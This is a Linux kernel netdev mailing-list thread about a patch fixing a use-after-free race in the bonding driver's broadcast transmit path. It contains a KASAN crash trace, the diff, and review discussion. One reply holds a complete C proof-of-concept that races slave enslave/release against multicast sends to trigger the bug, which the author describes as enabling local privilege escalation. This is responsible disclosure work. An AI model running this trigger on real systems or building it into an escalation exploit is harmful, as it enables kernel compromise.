[PATCH net] net: bonding: fix use-after-free in bond_xmit_broadcast()

[PATCH net] net: bonding: fix use-after-free in bond_xmit_broadcast()

[Xiang Mei]

bond_xmit_broadcast() reuses the original skb for the last slave
(determined by bond_is_last_slave()) and clones it for others.
Concurrent slave enslave/release can mutate the slave list during
RCU-protected iteration, changing which slave is "last" mid-loop.
This causes the original skb to be either double-consumed or freed.

Always clone the skb for every slave and unconditionally free the
original after the loop, removing the racy bond_is_last_slave()
optimization.

The UAF can trigger the following crash:

==================================================================
BUG: KASAN: slab-use-after-free in skb_clone
Read of size 8 at addr ffff888100ef8d40 by task exploit/147

CPU: 1 UID: 0 PID: 147 Comm: exploit Not tainted 7.0.0-rc3+ #4 PREEMPTLAZY
Call Trace:
 <TASK>
 dump_stack_lvl (lib/dump_stack.c:123)
 print_report (mm/kasan/report.c:379 mm/kasan/report.c:482)
 kasan_report (mm/kasan/report.c:597)
 skb_clone (include/linux/skbuff.h:1724 include/linux/skbuff.h:1792 include/linux/skbuff.h:3396 net/core/skbuff.c:2108)
 bond_xmit_broadcast (drivers/net/bonding/bond_main.c:5334)
 bond_start_xmit (drivers/net/bonding/bond_main.c:5567 drivers/net/bonding/bond_main.c:5593)
 dev_hard_start_xmit (include/linux/netdevice.h:5325 include/linux/netdevice.h:5334 net/core/dev.c:3871 net/core/dev.c:3887)
 __dev_queue_xmit (include/linux/netdevice.h:3601 net/core/dev.c:4838)
 ip6_finish_output2 (include/net/neighbour.h:540 include/net/neighbour.h:554 net/ipv6/ip6_output.c:136)
 ip6_finish_output (net/ipv6/ip6_output.c:208 net/ipv6/ip6_output.c:219)
 ip6_output (net/ipv6/ip6_output.c:250)
 ip6_send_skb (net/ipv6/ip6_output.c:1985)
 udp_v6_send_skb (net/ipv6/udp.c:1442)
 udpv6_sendmsg (net/ipv6/udp.c:1733)
 __sys_sendto (net/socket.c:730 net/socket.c:742 net/socket.c:2206)
 __x64_sys_sendto (net/socket.c:2209)
 do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94)
 entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:130)
 </TASK>

Allocated by task 147:

Freed by task 147:

The buggy address belongs to the object at ffff888100ef8c80
 which belongs to the cache skbuff_head_cache of size 224
The buggy address is located 192 bytes inside of
 freed 224-byte region [ffff888100ef8c80, ffff888100ef8d60)

Memory state around the buggy address:
 ffff888100ef8c00: fb fb fb fb fc fc fc fc fc fc fc fc fc fc fc fc
 ffff888100ef8c80: fa fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
>ffff888100ef8d00: fb fb fb fb fb fb fb fb fb fb fb fb fc fc fc fc
                                                    ^
 ffff888100ef8d80: fc fc fc fc fc fc fc fc fa fb fb fb fb fb fb fb
 ffff888100ef8e00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
==================================================================

Fixes: 4e5bd03ae346 ("net: bonding: fix bond_xmit_broadcast return value error bug")
Reported-by: Weiming Shi <bestswngs@gmail.com>
Signed-off-by: Xiang Mei <xmei5@asu.edu>
---
 drivers/net/bonding/bond_main.c | 19 ++++++-------------
 1 file changed, 6 insertions(+), 13 deletions(-)

diff --git a/drivers/net/bonding/bond_main.c b/drivers/net/bonding/bond_main.c
index 33f414d03ab91..8e57bee13e4ad 100644
--- a/drivers/net/bonding/bond_main.c
+++ b/drivers/net/bonding/bond_main.c
@@ -5310,7 +5310,6 @@ static netdev_tx_t bond_xmit_broadcast(struct sk_buff *skb,
 	struct bonding *bond = netdev_priv(bond_dev);
 	struct bond_up_slave *slaves;
 	bool xmit_suc = false;
-	bool skb_used = false;
 	int slaves_count, i;
 
 	if (all_slaves)
@@ -5326,24 +5325,18 @@ static netdev_tx_t bond_xmit_broadcast(struct sk_buff *skb,
 		if (!(bond_slave_is_up(slave) && slave->link == BOND_LINK_UP))
 			continue;
 
-		if (bond_is_last_slave(bond, slave)) {
-			skb2 = skb;
-			skb_used = true;
-		} else {
-			skb2 = skb_clone(skb, GFP_ATOMIC);
-			if (!skb2) {
-				net_err_ratelimited("%s: Error: %s: skb_clone() failed\n",
-						    bond_dev->name, __func__);
-				continue;
-			}
+		skb2 = skb_clone(skb, GFP_ATOMIC);
+		if (!skb2) {
+			net_err_ratelimited("%s: Error: %s: skb_clone() failed\n",
+					    bond_dev->name, __func__);
+			continue;
 		}
 
 		if (bond_dev_queue_xmit(bond, skb2, slave->dev) == NETDEV_TX_OK)
 			xmit_suc = true;
 	}
 
-	if (!skb_used)
-		dev_kfree_skb_any(skb);
+	dev_kfree_skb_any(skb);
 
 	if (xmit_suc)
 		return NETDEV_TX_OK;
-- 
2.43.0

Re: [PATCH net] net: bonding: fix use-after-free in bond_xmit_broadcast()

[Xiang Mei]

On Wed, Mar 18, 2026 at 04:23:32PM -0700, Xiang Mei wrote:
> bond_xmit_broadcast() reuses the original skb for the last slave
> (determined by bond_is_last_slave()) and clones it for others.
> Concurrent slave enslave/release can mutate the slave list during
> RCU-protected iteration, changing which slave is "last" mid-loop.
> This causes the original skb to be either double-consumed or freed.
> 
> Always clone the skb for every slave and unconditionally free the
> original after the loop, removing the racy bond_is_last_slave()
> optimization.
> 
> The UAF can trigger the following crash:
> 
> ==================================================================
> BUG: KASAN: slab-use-after-free in skb_clone
> Read of size 8 at addr ffff888100ef8d40 by task exploit/147
> 
> CPU: 1 UID: 0 PID: 147 Comm: exploit Not tainted 7.0.0-rc3+ #4 PREEMPTLAZY
> Call Trace:
>  <TASK>
>  dump_stack_lvl (lib/dump_stack.c:123)
>  print_report (mm/kasan/report.c:379 mm/kasan/report.c:482)
>  kasan_report (mm/kasan/report.c:597)
>  skb_clone (include/linux/skbuff.h:1724 include/linux/skbuff.h:1792 include/linux/skbuff.h:3396 net/core/skbuff.c:2108)
>  bond_xmit_broadcast (drivers/net/bonding/bond_main.c:5334)
>  bond_start_xmit (drivers/net/bonding/bond_main.c:5567 drivers/net/bonding/bond_main.c:5593)
>  dev_hard_start_xmit (include/linux/netdevice.h:5325 include/linux/netdevice.h:5334 net/core/dev.c:3871 net/core/dev.c:3887)
>  __dev_queue_xmit (include/linux/netdevice.h:3601 net/core/dev.c:4838)
>  ip6_finish_output2 (include/net/neighbour.h:540 include/net/neighbour.h:554 net/ipv6/ip6_output.c:136)
>  ip6_finish_output (net/ipv6/ip6_output.c:208 net/ipv6/ip6_output.c:219)
>  ip6_output (net/ipv6/ip6_output.c:250)
>  ip6_send_skb (net/ipv6/ip6_output.c:1985)
>  udp_v6_send_skb (net/ipv6/udp.c:1442)
>  udpv6_sendmsg (net/ipv6/udp.c:1733)
>  __sys_sendto (net/socket.c:730 net/socket.c:742 net/socket.c:2206)
>  __x64_sys_sendto (net/socket.c:2209)
>  do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94)
>  entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:130)
>  </TASK>
> 
> Allocated by task 147:
> 
> Freed by task 147:
> 
> The buggy address belongs to the object at ffff888100ef8c80
>  which belongs to the cache skbuff_head_cache of size 224
> The buggy address is located 192 bytes inside of
>  freed 224-byte region [ffff888100ef8c80, ffff888100ef8d60)
> 
> Memory state around the buggy address:
>  ffff888100ef8c00: fb fb fb fb fc fc fc fc fc fc fc fc fc fc fc fc
>  ffff888100ef8c80: fa fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
> >ffff888100ef8d00: fb fb fb fb fb fb fb fb fb fb fb fb fc fc fc fc
>                                                     ^
>  ffff888100ef8d80: fc fc fc fc fc fc fc fc fa fb fb fb fb fb fb fb
>  ffff888100ef8e00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
> ==================================================================
> 
> Fixes: 4e5bd03ae346 ("net: bonding: fix bond_xmit_broadcast return value error bug")
> Reported-by: Weiming Shi <bestswngs@gmail.com>
> Signed-off-by: Xiang Mei <xmei5@asu.edu>
> ---
>  drivers/net/bonding/bond_main.c | 19 ++++++-------------
>  1 file changed, 6 insertions(+), 13 deletions(-)
> 
> diff --git a/drivers/net/bonding/bond_main.c b/drivers/net/bonding/bond_main.c
> index 33f414d03ab91..8e57bee13e4ad 100644
> --- a/drivers/net/bonding/bond_main.c
> +++ b/drivers/net/bonding/bond_main.c
> @@ -5310,7 +5310,6 @@ static netdev_tx_t bond_xmit_broadcast(struct sk_buff *skb,
>  	struct bonding *bond = netdev_priv(bond_dev);
>  	struct bond_up_slave *slaves;
>  	bool xmit_suc = false;
> -	bool skb_used = false;
>  	int slaves_count, i;
>  
>  	if (all_slaves)
> @@ -5326,24 +5325,18 @@ static netdev_tx_t bond_xmit_broadcast(struct sk_buff *skb,
>  		if (!(bond_slave_is_up(slave) && slave->link == BOND_LINK_UP))
>  			continue;
>  
> -		if (bond_is_last_slave(bond, slave)) {
> -			skb2 = skb;
> -			skb_used = true;
> -		} else {
> -			skb2 = skb_clone(skb, GFP_ATOMIC);
> -			if (!skb2) {
> -				net_err_ratelimited("%s: Error: %s: skb_clone() failed\n",
> -						    bond_dev->name, __func__);
> -				continue;
> -			}
> +		skb2 = skb_clone(skb, GFP_ATOMIC);
> +		if (!skb2) {
> +			net_err_ratelimited("%s: Error: %s: skb_clone() failed\n",
> +					    bond_dev->name, __func__);
> +			continue;
>  		}
>  
>  		if (bond_dev_queue_xmit(bond, skb2, slave->dev) == NETDEV_TX_OK)
>  			xmit_suc = true;
>  	}
>  
> -	if (!skb_used)
> -		dev_kfree_skb_any(skb);
> +	dev_kfree_skb_any(skb);
>  
>  	if (xmit_suc)
>  		return NETDEV_TX_OK;
> -- 
> 2.43.0
>

Thanks for your attention for this bug. It's a UAF enabling local
privilege escapeing.

The following information could help you to reproduce the bug:

Required Kernel Configs for reproducing:
```
CONFIG_BONDING=y
CONFIG_NET_NS=y
CONFIG_NETDEVICES=y
CONFIG_IPV6=y
CONFIG_KASAN=y
CONFIG_KASAN_INLINE=y
CONFIG_KASAN_GENERIC=y
```

The source code of the PoC
```c
#define _GNU_SOURCE
#include <sched.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <net/if.h>
#include <arpa/inet.h>
#include <linux/rtnetlink.h>
#include <linux/if_link.h>
#include <sys/socket.h>
#include <netinet/in.h>

struct nlreq { struct nlmsghdr n; struct ifinfomsg i; char buf[512]; };

static void nlsend(int fd, struct nlreq *r)
{
    char ack[512];
    write(fd, r, r->n.nlmsg_len);
    read(fd, ack, sizeof(ack));
}

static int addattr(void *b, int type, const void *d, int len)
{
    struct rtattr *a = b;
    a->rta_type = type; a->rta_len = RTA_LENGTH(len);
    memcpy(RTA_DATA(a), d, len);
    return RTA_ALIGN(a->rta_len);
}

#define INIT_REQ(r, t, f) do { \
    memset(&r, 0, sizeof(r)); \
    r.n.nlmsg_type = t; r.n.nlmsg_flags = (f)|NLM_F_REQUEST|NLM_F_ACK; \
    r.n.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)); } while(0)

static void nl_add(int fd, const char *name, const char *kind)
{
    struct nlreq r;
    INIT_REQ(r, RTM_NEWLINK, NLM_F_CREATE|NLM_F_EXCL);
    r.n.nlmsg_len += addattr((char*)&r+r.n.nlmsg_len, IFLA_IFNAME, name, strlen(name)+1);
    struct rtattr *li = (void*)((char*)&r+r.n.nlmsg_len);
    li->rta_type = IFLA_LINKINFO; li->rta_len = RTA_LENGTH(0);
    li->rta_len += addattr((char*)li+li->rta_len, IFLA_INFO_KIND, kind, strlen(kind)+1);
    r.n.nlmsg_len += RTA_ALIGN(li->rta_len);
    nlsend(fd, &r);
}

static void nl_up(int fd, const char *name)
{
    struct nlreq r;
    INIT_REQ(r, RTM_NEWLINK, 0);
    r.i.ifi_index = if_nametoindex(name);
    r.i.ifi_change = IFF_UP; r.i.ifi_flags = IFF_UP;
    nlsend(fd, &r);
}

static void nl_master(int fd, const char *dev, const char *master)
{
    struct nlreq r;
    INIT_REQ(r, RTM_NEWLINK, 0);
    r.i.ifi_index = if_nametoindex(dev);
    __u32 idx = master ? if_nametoindex(master) : 0;
    r.n.nlmsg_len += addattr((char*)&r+r.n.nlmsg_len, IFLA_MASTER, &idx, sizeof(idx));
    nlsend(fd, &r);
}

static void nl_bond_mode(int fd, const char *name, __u8 mode)
{
    struct nlreq r;
    INIT_REQ(r, RTM_NEWLINK, 0);
    r.i.ifi_index = if_nametoindex(name);
    struct rtattr *li = (void*)((char*)&r+r.n.nlmsg_len);
    li->rta_type = IFLA_LINKINFO; li->rta_len = RTA_LENGTH(0);
    li->rta_len += addattr((char*)li+li->rta_len, IFLA_INFO_KIND, "bond", 5);
    struct rtattr *d = (void*)((char*)li+li->rta_len);
    d->rta_type = IFLA_INFO_DATA; d->rta_len = RTA_LENGTH(0);
    d->rta_len += addattr((char*)d+d->rta_len, IFLA_BOND_MODE, &mode, 1);
    li->rta_len += RTA_ALIGN(d->rta_len);
    r.n.nlmsg_len += RTA_ALIGN(li->rta_len);
    nlsend(fd, &r);
}

static void pin(int id)
{
    cpu_set_t s; CPU_ZERO(&s); CPU_SET(id, &s);
    sched_setaffinity(0, sizeof(s), &s);
}

int main(void)
{
    int fd = socket(PF_NETLINK, SOCK_RAW, NETLINK_ROUTE);

    nl_up(fd, "lo");
    nl_add(fd, "bond0", "bond");
    nl_bond_mode(fd, "bond0", 3); // Braodcase
    nl_up(fd, "bond0");
    nl_add(fd, "dummy0", "dummy");
    nl_add(fd, "dummy1", "dummy");
    nl_master(fd, "dummy0", "bond0");
    nl_master(fd, "dummy1", "bond0");
    nl_up(fd, "dummy0");
    nl_up(fd, "dummy1");

    if (fork()) {
        pin(0);
        while (1) {
            nl_master(fd, "dummy0", "bond0");
            nl_master(fd, "dummy0", NULL);
        }
    } else {
        pin(1);
        int s = socket(AF_INET6, SOCK_DGRAM, 0);
        struct sockaddr_in6 dst = {
            .sin6_family = AF_INET6, .sin6_port = htons(12345),
            .sin6_scope_id = if_nametoindex("bond0"),
        };
        inet_pton(AF_INET6, "ff02::1", &dst.sin6_addr);
        while (1)
            sendto(s, "x", 1, 0, (struct sockaddr*)&dst, sizeof(dst));
    }
}
```

The intended crash was attached in the commit message. Please let me know
if you have any questions for the patch and poc.

Thanks,
Xiang

Re: [PATCH net] net: bonding: fix use-after-free in bond_xmit_broadcast()

[Paolo Abeni]

On 3/19/26 12:23 AM, Xiang Mei wrote:
> bond_xmit_broadcast() reuses the original skb for the last slave
> (determined by bond_is_last_slave()) and clones it for others.
> Concurrent slave enslave/release can mutate the slave list during
> RCU-protected iteration, changing which slave is "last" mid-loop.
> This causes the original skb to be either double-consumed or freed.
> 
> Always clone the skb for every slave and unconditionally free the
> original after the loop, removing the racy bond_is_last_slave()
> optimization.
> 
> The UAF can trigger the following crash:
> 
> ==================================================================
> BUG: KASAN: slab-use-after-free in skb_clone
> Read of size 8 at addr ffff888100ef8d40 by task exploit/147
> 
> CPU: 1 UID: 0 PID: 147 Comm: exploit Not tainted 7.0.0-rc3+ #4 PREEMPTLAZY
> Call Trace:
>  <TASK>
>  dump_stack_lvl (lib/dump_stack.c:123)
>  print_report (mm/kasan/report.c:379 mm/kasan/report.c:482)
>  kasan_report (mm/kasan/report.c:597)
>  skb_clone (include/linux/skbuff.h:1724 include/linux/skbuff.h:1792 include/linux/skbuff.h:3396 net/core/skbuff.c:2108)
>  bond_xmit_broadcast (drivers/net/bonding/bond_main.c:5334)
>  bond_start_xmit (drivers/net/bonding/bond_main.c:5567 drivers/net/bonding/bond_main.c:5593)
>  dev_hard_start_xmit (include/linux/netdevice.h:5325 include/linux/netdevice.h:5334 net/core/dev.c:3871 net/core/dev.c:3887)
>  __dev_queue_xmit (include/linux/netdevice.h:3601 net/core/dev.c:4838)
>  ip6_finish_output2 (include/net/neighbour.h:540 include/net/neighbour.h:554 net/ipv6/ip6_output.c:136)
>  ip6_finish_output (net/ipv6/ip6_output.c:208 net/ipv6/ip6_output.c:219)
>  ip6_output (net/ipv6/ip6_output.c:250)
>  ip6_send_skb (net/ipv6/ip6_output.c:1985)
>  udp_v6_send_skb (net/ipv6/udp.c:1442)
>  udpv6_sendmsg (net/ipv6/udp.c:1733)
>  __sys_sendto (net/socket.c:730 net/socket.c:742 net/socket.c:2206)
>  __x64_sys_sendto (net/socket.c:2209)
>  do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94)
>  entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:130)
>  </TASK>
> 
> Allocated by task 147:
> 
> Freed by task 147:
> 
> The buggy address belongs to the object at ffff888100ef8c80
>  which belongs to the cache skbuff_head_cache of size 224
> The buggy address is located 192 bytes inside of
>  freed 224-byte region [ffff888100ef8c80, ffff888100ef8d60)
> 
> Memory state around the buggy address:
>  ffff888100ef8c00: fb fb fb fb fc fc fc fc fc fc fc fc fc fc fc fc
>  ffff888100ef8c80: fa fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
>> ffff888100ef8d00: fb fb fb fb fb fb fb fb fb fb fb fb fc fc fc fc
>                                                     ^
>  ffff888100ef8d80: fc fc fc fc fc fc fc fc fa fb fb fb fb fb fb fb
>  ffff888100ef8e00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
> ==================================================================
> 
> Fixes: 4e5bd03ae346 ("net: bonding: fix bond_xmit_broadcast return value error bug")
> Reported-by: Weiming Shi <bestswngs@gmail.com>
> Signed-off-by: Xiang Mei <xmei5@asu.edu>
> ---
>  drivers/net/bonding/bond_main.c | 19 ++++++-------------
>  1 file changed, 6 insertions(+), 13 deletions(-)
> 
> diff --git a/drivers/net/bonding/bond_main.c b/drivers/net/bonding/bond_main.c
> index 33f414d03ab91..8e57bee13e4ad 100644
> --- a/drivers/net/bonding/bond_main.c
> +++ b/drivers/net/bonding/bond_main.c
> @@ -5310,7 +5310,6 @@ static netdev_tx_t bond_xmit_broadcast(struct sk_buff *skb,
>  	struct bonding *bond = netdev_priv(bond_dev);
>  	struct bond_up_slave *slaves;
>  	bool xmit_suc = false;
> -	bool skb_used = false;
>  	int slaves_count, i;
>  
>  	if (all_slaves)
> @@ -5326,24 +5325,18 @@ static netdev_tx_t bond_xmit_broadcast(struct sk_buff *skb,
>  		if (!(bond_slave_is_up(slave) && slave->link == BOND_LINK_UP))
>  			continue;
>  
> -		if (bond_is_last_slave(bond, slave)) {
> -			skb2 = skb;
> -			skb_used = true;
> -		} else {
> -			skb2 = skb_clone(skb, GFP_ATOMIC);
> -			if (!skb2) {
> -				net_err_ratelimited("%s: Error: %s: skb_clone() failed\n",
> -						    bond_dev->name, __func__);
> -				continue;
> -			}
> +		skb2 = skb_clone(skb, GFP_ATOMIC);

The additional clone is prone allocation failure (atomic scope) and adds
additional overhead. Is really needed? Would something alike the
following work instead of the current bond_is_last_slave() check?

		if (i + 1 == slaves_count)

/P

Re: [PATCH net] net: bonding: fix use-after-free in bond_xmit_broadcast()

[Xiang Mei]

On Tue, Mar 24, 2026 at 2:08 AM Paolo Abeni <pabeni@redhat.com> wrote:
>
> On 3/19/26 12:23 AM, Xiang Mei wrote:
> > bond_xmit_broadcast() reuses the original skb for the last slave
> > (determined by bond_is_last_slave()) and clones it for others.
> > Concurrent slave enslave/release can mutate the slave list during
> > RCU-protected iteration, changing which slave is "last" mid-loop.
> > This causes the original skb to be either double-consumed or freed.
> >
> > Always clone the skb for every slave and unconditionally free the
> > original after the loop, removing the racy bond_is_last_slave()
> > optimization.
> >
> > The UAF can trigger the following crash:
> >
> > ==================================================================
> > BUG: KASAN: slab-use-after-free in skb_clone
> > Read of size 8 at addr ffff888100ef8d40 by task exploit/147
> >
> > CPU: 1 UID: 0 PID: 147 Comm: exploit Not tainted 7.0.0-rc3+ #4 PREEMPTLAZY
> > Call Trace:
> >  <TASK>
> >  dump_stack_lvl (lib/dump_stack.c:123)
> >  print_report (mm/kasan/report.c:379 mm/kasan/report.c:482)
> >  kasan_report (mm/kasan/report.c:597)
> >  skb_clone (include/linux/skbuff.h:1724 include/linux/skbuff.h:1792 include/linux/skbuff.h:3396 net/core/skbuff.c:2108)
> >  bond_xmit_broadcast (drivers/net/bonding/bond_main.c:5334)
> >  bond_start_xmit (drivers/net/bonding/bond_main.c:5567 drivers/net/bonding/bond_main.c:5593)
> >  dev_hard_start_xmit (include/linux/netdevice.h:5325 include/linux/netdevice.h:5334 net/core/dev.c:3871 net/core/dev.c:3887)
> >  __dev_queue_xmit (include/linux/netdevice.h:3601 net/core/dev.c:4838)
> >  ip6_finish_output2 (include/net/neighbour.h:540 include/net/neighbour.h:554 net/ipv6/ip6_output.c:136)
> >  ip6_finish_output (net/ipv6/ip6_output.c:208 net/ipv6/ip6_output.c:219)
> >  ip6_output (net/ipv6/ip6_output.c:250)
> >  ip6_send_skb (net/ipv6/ip6_output.c:1985)
> >  udp_v6_send_skb (net/ipv6/udp.c:1442)
> >  udpv6_sendmsg (net/ipv6/udp.c:1733)
> >  __sys_sendto (net/socket.c:730 net/socket.c:742 net/socket.c:2206)
> >  __x64_sys_sendto (net/socket.c:2209)
> >  do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94)
> >  entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:130)
> >  </TASK>
> >
> > Allocated by task 147:
> >
> > Freed by task 147:
> >
> > The buggy address belongs to the object at ffff888100ef8c80
> >  which belongs to the cache skbuff_head_cache of size 224
> > The buggy address is located 192 bytes inside of
> >  freed 224-byte region [ffff888100ef8c80, ffff888100ef8d60)
> >
> > Memory state around the buggy address:
> >  ffff888100ef8c00: fb fb fb fb fc fc fc fc fc fc fc fc fc fc fc fc
> >  ffff888100ef8c80: fa fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
> >> ffff888100ef8d00: fb fb fb fb fb fb fb fb fb fb fb fb fc fc fc fc
> >                                                     ^
> >  ffff888100ef8d80: fc fc fc fc fc fc fc fc fa fb fb fb fb fb fb fb
> >  ffff888100ef8e00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
> > ==================================================================
> >
> > Fixes: 4e5bd03ae346 ("net: bonding: fix bond_xmit_broadcast return value error bug")
> > Reported-by: Weiming Shi <bestswngs@gmail.com>
> > Signed-off-by: Xiang Mei <xmei5@asu.edu>
> > ---
> >  drivers/net/bonding/bond_main.c | 19 ++++++-------------
> >  1 file changed, 6 insertions(+), 13 deletions(-)
> >
> > diff --git a/drivers/net/bonding/bond_main.c b/drivers/net/bonding/bond_main.c
> > index 33f414d03ab91..8e57bee13e4ad 100644
> > --- a/drivers/net/bonding/bond_main.c
> > +++ b/drivers/net/bonding/bond_main.c
> > @@ -5310,7 +5310,6 @@ static netdev_tx_t bond_xmit_broadcast(struct sk_buff *skb,
> >       struct bonding *bond = netdev_priv(bond_dev);
> >       struct bond_up_slave *slaves;
> >       bool xmit_suc = false;
> > -     bool skb_used = false;
> >       int slaves_count, i;
> >
> >       if (all_slaves)
> > @@ -5326,24 +5325,18 @@ static netdev_tx_t bond_xmit_broadcast(struct sk_buff *skb,
> >               if (!(bond_slave_is_up(slave) && slave->link == BOND_LINK_UP))
> >                       continue;
> >
> > -             if (bond_is_last_slave(bond, slave)) {
> > -                     skb2 = skb;
> > -                     skb_used = true;
> > -             } else {
> > -                     skb2 = skb_clone(skb, GFP_ATOMIC);
> > -                     if (!skb2) {
> > -                             net_err_ratelimited("%s: Error: %s: skb_clone() failed\n",
> > -                                                 bond_dev->name, __func__);
> > -                             continue;
> > -                     }
> > +             skb2 = skb_clone(skb, GFP_ATOMIC);
>
> The additional clone is prone allocation failure (atomic scope) and adds
> additional overhead. Is really needed? Would something alike the
> following work instead of the current bond_is_last_slave() check?
>
>                 if (i + 1 == slaves_count)
>
Thanks so much for the advice. Your patch is a more elegant patch. V2
was sent based on your version.

Thanks,
Xiang
> /P
>